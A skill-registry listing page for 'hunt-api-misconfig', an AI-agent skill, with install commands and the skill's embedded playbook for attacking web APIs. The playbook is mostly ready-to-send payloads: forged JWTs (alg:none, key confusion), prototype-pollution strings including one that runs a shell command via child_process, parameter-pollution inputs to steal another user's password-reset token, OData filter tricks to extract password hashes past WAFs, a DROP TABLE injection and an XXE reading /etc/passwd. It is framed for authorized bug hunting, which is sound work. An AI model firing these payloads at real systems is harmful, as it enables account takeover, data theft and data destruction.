Skill metadata references terminal, CLI, shell, subprocess, or command execution workflows.
medium
Skill may drive a browser or interact with web pages.
medium
Skill likely fetches remote pages, APIs, repositories, or external services.
medium
Skill may read or write project files, documents, generated artifacts, or local workspace state.
Agent resolve plan
The Resolve API returns the selected skill, alternatives, safety policy, audit notes, install target, and copy-paste prompt an agent can follow without scraping this page.
Open JSON
/api/agent/resolve?task=Use%20hunt-api-misconfig%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Resolve text
/api/agent/resolve?task=Use%20hunt-api-misconfig%20for%20an%20agent%20workflow&agent=codex&max_risk=medium&format=text
Install handoff
/api/skills/elementalsouls-hunt-api-misconfig/install
Agent should check
Copy prompt
Task: Use hunt-api-misconfig in this workspace.
Resolve first: https://www.openagentskill.com/api/agent/resolve?task=Use%20hunt-api-misconfig%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Review install handoff: https://www.openagentskill.com/api/skills/elementalsouls-hunt-api-misconfig/install
Install command: npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Before running it, summarize audit warnings, required permissions, and the fallback skill if install is risky.Agent handoff
Use the public install endpoint to fetch the command, safety checklist, target prompts, and canonical links for this skill.
Install handoff
/api/skills/elementalsouls-hunt-api-misconfig/install
LLM text format
/api/skills/elementalsouls-hunt-api-misconfig/install?format=text
Find alternatives
/api/skills/search?q=hunt-api-misconfig&limit=3
Agent prompt
Use hunt-api-misconfig for this task. Review https://www.openagentskill.com/api/skills/elementalsouls-hunt-api-misconfig/install, then install with: npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfigRegistry metadata
This page exposes the same decision, trust, audit, use-case, and install signals through the Registry API, so agents can rank this skill without scraping the UI.
Manifest
/api/registry/manifest/elementalsouls-hunt-api-misconfig
LLM text
/api/registry/manifest/elementalsouls-hunt-api-misconfig?format=text
Install alias
/api/registry/install/elementalsouls-hunt-api-misconfig
Recommend
/api/registry/recommend?task=Use%20hunt-api-misconfig%20in%20an%20agent%20workflow&limit=3
Agent fit
Research agents
Use-case tags
Platforms
Claude Code, Browser agents
Audit report
A machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
Agent decision cockpit
Use this as a leading candidate, then validate the README and install path in your own agent stack.
Role in stack
Primary pick
Primary fit
Research agents
Trust label
Production-ready
Install path
Command ready
Use when
Evidence
review first
Implementation path
Trust profile
Trust Score v5 found insufficient evidence for agent installation. Treat this as discovery material, not an executable recommendation.
GitHub adoption
PASS4.1K GitHub stars
Stars/forks activity
PASS4.1K stars, 633 forks; issue activity unavailable in current metadata
Recent maintenance
PASS5d since push
License clarity
PASSMIT
Good signals
Review before install
Recommended action
Choose a stronger alternative or inspect the source manually before any install attempt.
Quality profile
Solid option that is likely worth shortlisting for production workflows.
Workflow fit
Investigate faster
I need my agent to research a topic, compare sources, and produce a concise report.
Parse messy files
I need my agent to read PDFs, extract tables, and turn documents into structured data.
Manage repositories
I need my agent to triage GitHub issues, review pull requests, and summarize repository changes.
Workflow fit
Find, compare, and synthesize
A workflow for agents that gather sources, compare claims, summarize long material, and draft useful research briefs.
Scrape, clean, and reuse web data
A practical workflow for agents that crawl public pages, extract clean content, normalize data, and hand it to downstream research or RAG workflows.
Operate and verify web apps
A workflow for agents that navigate products, fill forms, take screenshots, and verify real user flows across web applications.
Alternative shortlist
Similar skills that may fit this task.
Wazuh - The Open Source Security Platform. Unified XDR and SIEM protection for endpoints and cloud workloads.
🕵️♂️ Collect a dossier on a person by username from 3000+ sites
Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration to tackle trending vulnerabilities on the internet. It helps you find vulnerabilities in your applications, APIs, networks, DNS, and cloud configurations.
Infisical is the open-source platform for secrets, certificates, and privileged access management.
--- name: hunt-api-misconfig description: "Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto)." sources: hackerone_public, owasp_api_top10_2023, public_research report_count: 0 ---
## 12. API SECURITY MISCONFIGURATION
### Mass Assignment ```javascript User.update(req.body) // body has {"role": "admin"} → privilege escalation ```
### JWT None Algorithm ```python header = {"alg": "none", "typ": "JWT"} payload = {"sub": 1, "role": "admin"} token = base64(header) + "." + base64(payload) + "." # no signature ```
### JWT RS256 → HS256 Algorithm Confusion ```python # Get server's public key from /.well-known/jwks.json # Sign token with public key as HMAC secret token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256") # Server uses RS256 key as HS256 secret → accepts it ```
### Prototype Pollution ```javascript // Server-side — Node.js merge without protection {"__proto__": {"admin": true}} {"constructor": {"prototype": {"admin": true}}} // URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin ```
For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import, or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype state reaches a later operation.
Hunt sequence:
1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed. 2. **Pollute harmless marker properties.** Send variants such as:
``` {"__proto__":{"polluted":"pp-1337"}} {"constructor":{"prototype":{"polluted":"pp-1337"}}} __proto__[polluted]=pp-1337 constructor[prototype][polluted]=pp-1337 ```
3. **Trigger a separate sink.** After pollution, request account/profile/admin/job/export/search/render endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, server errors mentioning object properties, changed job output, template/render errors, or command/job behavior changes. 4. **Escalate only through learned sinks.** Candidate properties depend on the sink:
``` {"__proto__":{"json spaces":10}} {"__proto__":{"status":555}} {"__proto__":{"isAdmin":true,"role":"admin"}} {"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}} {"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}} ```
5. **For exfiltration labs or real impact, prefer non-destructive proof.** If an admin job, diagnostic, export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.
### Server-Side Parameter Pollution in Backend URL / REST URL Construction
Use this when a frontend form or endpoint appears to call a server-side API on your behalf (password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not ordinary client-side query pollution. The server takes your input and interpolates it into a backend URL path or query string, such as:
``` /api/internal/users/<username>/field/email /api/users/<id> /api/users?username=<username>&field=email ```
Hunt sequence:
1. **Find the flow and read the client request.** Fetch the page and any referenced JavaScript. Look for form actions, `fetch(...)`, hidden CSRF fields, and the exact parameter name the browser sends. If there is a reset/account form, test known usernames first to learn the normal success/error shape. 2. **Determine whether input lands in a backend path or query.** Send URL metacharacters in the input: `#`, `?`, `&x=y`, `/`, `../`, and encoded forms `%23`, `%3f`, `%26x=y`, `%2f`, `%2e%2e%2f`. Distinct errors such as `Invalid route`, `API definition`, `unsupported field`, or changed returned fields mean your value is being interpreted by a server-side URL router, not merely validated as text. 3. **Use path traversal to move inside the server-side URL.** If `username/../other-user` changes the referenced account, the input is in a REST path segment. Then try appending route fragments such as `/field/email`, `/field/id`, `/field/username`, `/field/passwordResetToken`, and terminate the rest of the original backend path with `#` or `%23` when the backend URL parser honors fragments. 4. **Discover API documentation from errors.** When an error says to consult the API definition, probe common documentation/spec paths: `/openapi.json`, `/swagger.json`, `/api-docs`, `/api/swagger.json`, `/swagger/v1/swagger.json`, `/v3/api-docs`, and path-traversal variants that attempt to reach the spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources and field names. 5. **Exploit only to prove impact.** For password reset/account lookup flows, the strongest proof is a sensitive field such as a reset token or secret for another user, then using that token in the normal application flow to complete account takeover. Do not stop at `Invalid route`; use errors as routing feedback.
Payload patterns to try, adapted to the observed parameter name:
``` username=administrator%23 username=administrator%3f username=administrator%2f..%2fvictimuser username=administrator/../victimuser username=administrator/field/email%23 username=administrator/field/id%23 username=administrator/field/passwordResetToken%23 username=administrator%2ffield%2fpasswordResetToken%23 ```
### CORS Exploitation ```bash # Test: reflected origin + credentials curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me # If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true # → CRITICAL: attacker reads credentialed responses ```
---
## OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)
OData (Open Data Protocol) is the query layer behind **SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori,** and any ASP.NET WebAPI project using `Microsoft.AspNetCore.OData`. It exposes SQL-shaped query operators (`eq`, `ne`, `and`, `or`, `substringof`, `startswith`, `tolower`, `concat`, `replace`) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.
### Attack class 1 — Boolean-logic blind extraction via `startswith` / `substringof`
``` GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a') GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa') ```
Iterate prefix character-by-character; cardinality of the response (or `@odata.count`) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no `'`/`--` characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 / Power Apps Portals **password hashes, names, emails, addresses, financial data** in Dec 2023; Microsoft patched May 2024. ([Stratus Security writeup](https://www.stratussecurity.com/post/critical-microsoft-365-vulnerability), [The Hacker News coverage Jan 2025](https://thehackernews.com/2025/01/severe-security-flaws-patched-in.html))
### Attack class 2 — `$orderby` / `$select` column-disclosure bypass
``` GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname ```
`$orderby` accepts column names the user has no `$select` permission for, but the engine still sorts on them — the returned order leaks the protected column. Column-level ACLs are enforced on the projection (`$select`) but NOT on `$orderby` / `$filter` — same protected column, different code path. Second Stratus finding in the same Dynamics 365 disclosure; "more dangerous than the first because it directly returned the data" per Stratus.
### Attack class 3 — `$batch` multipart/mixed → per-request WAF signatures miss sub-operations
``` POST /odata/$batch Content-Type: multipart/mixed; boundary=batch_1 --batch_1 Content-Type: application/http GET Users?$filter=1 eq 1 HTTP/1.1 --batch_1-- ```
WAFs that scan only the outer request body (or that don't natively parse `multipart/mixed`) skip every inner operation. ModSecurity refused `multipart/mixed` historically ([Issue #3296](https://github.com/owasp-modsecurity/ModSecurity/issues/3296)); F5 added native batch parsing only in Advanced WAF v16.1 ([F5 SAP-Fiori advisory](https://www.f5.com/company/blog/securing-sap-fiori-http-batched-requests-odata-with-f5-advance)). The 2025 WAFFLED paper ([arXiv 2503.10846](https://arxiv.org/html/2503.10846v1)) generalises the parsing-discrepancy bypass class across 5 major WAFs.
### Attack class 4 — Encoded / non-canonical operator → keyword-blacklist bypass
``` GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201 # URL-encoded $ GET /api?%2524filter=... # double-encoded GET /Users(1)/$value # path-segment style ```
Mixed-case operators (`Eq`, `EQ`) and obscure ones (`substringof`, `tolower`, `concat`, `replace`) look unlike `SELECT`/`UNION` so SQLi-keyword signatures never fire. WAFs that key on the literal string `$filter` see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. ([OWASP Double Encoding](https://owasp.org/www-community/Double_Encoding))
### Attack class 5 — OData → real SQLi when library passes filter raw
``` $filter=Name eq 'x'); DROP TABLE Users--' ```
Only triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in [OData/WebApi Issue #2352](https://github.com/OData/WebApi/issues/2352). The XML-deserialisation variant: **CVE-2019-17554** (Apache Olingo OData 4.0.0-4.6.0, XXE via `<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]>` in `application/xml` body, CVSS 7.5). DoS variant: **CVE-2018-8269** (Microsoft.Data.OData deep `$filter` recursion → stack overflow).
### Bonus — `$expand` navigation-property IDOR
``` GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card)) ```
Authorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak ([UpGuard writeup](https://www.upguard.com/breaches/power-apps)).
### Detection heuristics
- Response headers: `OData-Version: 4.0` / `DataServiceVersion: 3.0`; URL paths `/_api/`, `/odata/`, `/_vti_bin/`, `/api/data/v9.x/`, `/sap/opu/odata/`. - Try `$metadata` → if anonymous, the full schema (entity sets, navigation properties, function imports) is yours. - Probe each entity set with `$filter=1 eq 1`, `$top=1`, `$select=*`, then `$orderby=<column-you-shouldnt-see>` for column-level ACL. - Send the same payload three ways (`$filter=`, `%24filter=`, `%2524filter=`) and through `$batch` — divergent WAF behaviour confirms the parser-discrepancy bug.
---
## NSwag / Swagger / OpenAPI Spec Ex
Source provenance
Decision snapshot
4,072 GitHub stars
Audit
Install and adoption review
Agent-proven evidence
Outcome reports after resolve, review, install, and one narrow run.
No agent outcome data yet. The first agent run can report success, setup needs, risk blocks, failure, or not-relevant through /api/agent/outcome.
Install
Free and open source. Review the report before installing into production agents.
Growth loop
Scenario-led draft for hunt-api-misconfig, ready for a manual X post.
hunt-api-misconfig: Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tamperin... 4.1K stars https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=x
Listing + install path for hunt-api-misconfig: https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=x Install: npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Listing source
This listing was indexed from public sources and is not marked official until a maintainer claim is approved.
Attribution links to the public repository or creator profile. Creators can claim the listing to update ownership signals.
Claim this skillOwner claim
This Registry indexed listing is attributed to elementalsouls but is not marked official yet. Claim it to add a verified owner signal and make future launch, install, and audit updates easier to trust.
Creator backlink kit
Show the canonical listing, current trust and audit signals, and real Agent-Proven evidence where developers evaluate the repository.
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig/audit)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)elementalsouls
@elementalsouls
Share whether this skill looks useful for your agent workflow. Aggregated feedback improves rankings over time.
Do not auto-install
Wazuh
Wazuh - The Open Source Security Platform. Unified XDR and SIEM protection for endpoints and cloud workloads.
16.3K StarsMaigret
🕵️♂️ Collect a dossier on a person by username from 3000+ sites
32.9K StarsNuclei
Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration to tackle trending vulnerabilities on the internet. It helps you find vulnerabilities in your applications, APIs, networks, DNS, and cloud configurations.
29.2K StarsInfisical
Infisical is the open-source platform for secrets, certificates, and privileged access management.
27.4K StarsPermission surface
secrets or environment access, shell or command execution
Agent outcomes
No agent outcome data yet
Docs
Usable metadata, review docs
Risk summary
Install readiness
Permission surface
secrets or environment access, shell or command execution
Agent outcomes
No agent outcome data yet
Docs
Usable metadata, review docs
Risk summary
Install readiness
Permission surface
secrets or environment access, shell or command execution
Agent outcomes
No agent outcome data yet
Docs
Usable metadata, review docs
Risk summary
Install readiness
Permission surface
secrets or environment access, shell or command execution
Agent outcomes
No agent outcome data yet
Docs
Usable metadata, review docs
Risk summary
Install readiness